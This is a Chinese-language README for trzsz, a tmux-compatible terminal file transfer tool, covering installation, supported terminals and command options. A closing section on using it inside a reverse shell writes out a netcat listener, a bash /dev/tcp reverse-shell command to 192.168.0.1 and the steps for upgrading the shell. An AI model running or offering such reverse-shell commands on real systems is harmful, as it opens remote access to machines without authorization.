trzsz is a simple file transfer tools, similar to lrzsz ( rz / sz ), and compatible with tmux.
MIT License
trzsz
( trz / tsz ) 是一款优秀的文件传输工具,和 lrzsz ( rz / sz ) 类似的、兼容 tmux 的文件传输工具。
本地要使用支持的终端,有本地 shell 的终端可以使用 trzsz-ssh ( tssh ),或参考下文【支持的终端】。
使用 trz
( 类似 rz
) 命令上传文件,使用 tsz
( 类似 sz
) 命令下载文件。
考虑 laptop -> hostA -> hostB -> docker -> tmux
这种场景,使用 scp
或 sftp
是不方便的。
在这种场景下,使用 lrzsz
( rz / sz ) 是很方便的,但是很可惜它与 tmux
不兼容。
tmux
不打算支持 rz / sz ( 906, 1439 ),于是就开发了 trzsz
( trz / tsz )。
trz -d
命令上传目录,tsz -d xxx
命令下载 xxx 目录。trz -y
或 tsz -y xxx
覆盖目标文件会自动进行断点续传。trzsz ssh x.x.x.x
登录即可。ctrl + c
优雅中止。安装 用 Go 实现的版本( ⭐ 推荐 )
请查看 Go 版安装指引:https://trzsz.github.io/cn/go
或者用 Python3 安装
sudo python3 -m pip install --upgrade trzsz
或者用 Python2 安装
sudo python2 -m pip install --upgrade trzsz
或者用 Homebrew 安装
brew update
brew install trzsz
或者用 Node.js 安装
sudo npm install -g trzsz
没有 sudo
权限也可以安装,只要将安装路径 ( 可能是 ~/.local/bin
) 添加到 PATH
环境变量中即可。
trzsz-ssh ( tssh ) -- 内置支持 trzsz 的 ssh 客户端( ⭐ 推荐 )。
iTerm2 -- 参考 Trzsz-iTerm2 安装文档。
tabby -- 安装 tabby-trzsz 插件即可。
electerm -- 升级到 1.19.0
以上的版本即可。
ttyd -- 升级到 1.7.3
以上的版本,并且启动时加上 -t enableTrzsz=true
,非 localhost 要用 https
。
trzsz-go -- 只要是支持本地 shell 的终端就可以用。
trzsz.js -- 让运行在浏览器中的 webshell 和用 electron 开发的终端支持 trzsz
。
如果你的终端也支持 trzsz
,请告诉我,我很乐意将它加到此列表中。
trz
上传文件trz
命令可以不带任何参数,将上传文件到当前目录。也可以带一个目录参数,指定上传到哪个目录。
trz /tmp/
tsz
下载文件tsz
可以带一个或多个文件名(可使用相对路径或绝对路径,也可使用通配符),将下载指定的文件。
tsz file1 file2 file3
-q
静默模式trz -q
或 tsz -q xxx
( 加上 -q
选项 ),则在传输文件时不显示进度条。
-y
覆盖模式trz -y
或 tsz -y xxx
( 加上 -y
选项 ),如果存在相同文件名的文件就直接覆盖,并支持断点续传。
-b
二进制模式trz -b
或 tsz -b xxx
( 加上 -b
选项 ),二进制传输模式,对于压缩包、图片、影音等较快。
-e
转义控制字符二进制模式时,控制字符可能会导致失败,trz -eb
或 tsz -eb xxx
( 加上 -e
选项 ) 转义所有已知的控制字符。
-d
/ -r
传输文件夹trz -d
或 tsz -r xxx
( 加上 -d
或 -r
选项 ),则可以上传或下载指定文件夹和文件。
-B
缓冲区上限trz -B 20m
或 tsz -B 2M xxx
等,设置最大缓冲区上限 ( 默认 10M )。会自动根据网速选择合适的缓冲区大小,但不会超过此上限。
-t
超时时间trz -t 30
或 tsz -t 30 xxx
等,设置超时秒数 ( 默认 20 秒 )。在超时时间内,如果无法传完一个缓冲区大小的数据则会报错并退出。设置为 0 或负数,则永不超时。
如果 tmux
是运行在本地电脑上。
tmux -CC
与 iTerm2 集成,请参考 iTerm2 与 tmux -CC 集成。tmux
之后用 trzsz ssh
登录。tmux
之后用 tssh
登录。如果 tmux
是运行在跳板机上。
tmux -CC
与 iTerm2 集成,请参考 iTerm2 与 tmux -CC 集成。tmux
之后用 trzsz -r ssh
登录。tmux
之后用 tssh
登录。如果出现了错误,且 trzsz
挂住不能动了:
control + c
可以停止服务器上的 trz
或 tsz
进程。command + option + shift + r
可以停止 iTerm2 Coprocesses。如果 trz -b
二进制上传失败,并且登录远程服务器时使用了 telnet
或 docker exec
:
trz -eb
。如果 trz -b
或 tsz -b
二进制传输失败,并且登录远程服务器时使用了 expect
:
expect
脚本前设置环境变量 export LC_CTYPE=C
,例如:
#!/bin/sh
export LC_CTYPE=C
expect -c '
spawn ssh xxx
expect "xxx: "
send "xxx\n"
interact
'
如果想在反弹 shell 中使用 trz / tsz
上传和下载,则需要按以下步骤操作:
tssh xxx
或 trzsz ssh xxx
登录服务器。nc -lnv 1337
,等待反弹 shell 连接。bash -i >& /dev/tcp/192.168.0.1/1337 0>&1
。python3 -c 'import pty; pty.spawn("/bin/bash")'
。ctrl + z
将反弹 shell 转入后台运行。stty raw -echo; fg
屏蔽服务器的回显,并将反弹 shell 转到前台运行。export TERM=xterm-256color
( 此步骤非必须 )。TMUX
环境变更,若存在则要清掉 unset TMUX
。trz / tsz
上传和下载了。exit
退出反弹 shell。reset
并回车,恢复终端的默认设置,然后回显就恢复正常了。有什么问题可以发邮件给作者 [email protected],也可以提 Issues 。欢迎加入 QQ 群:318578930。
❤️ 赞助 trzsz ❤️,请作者喝杯咖啡 ☕ ? 谢谢您们的支持!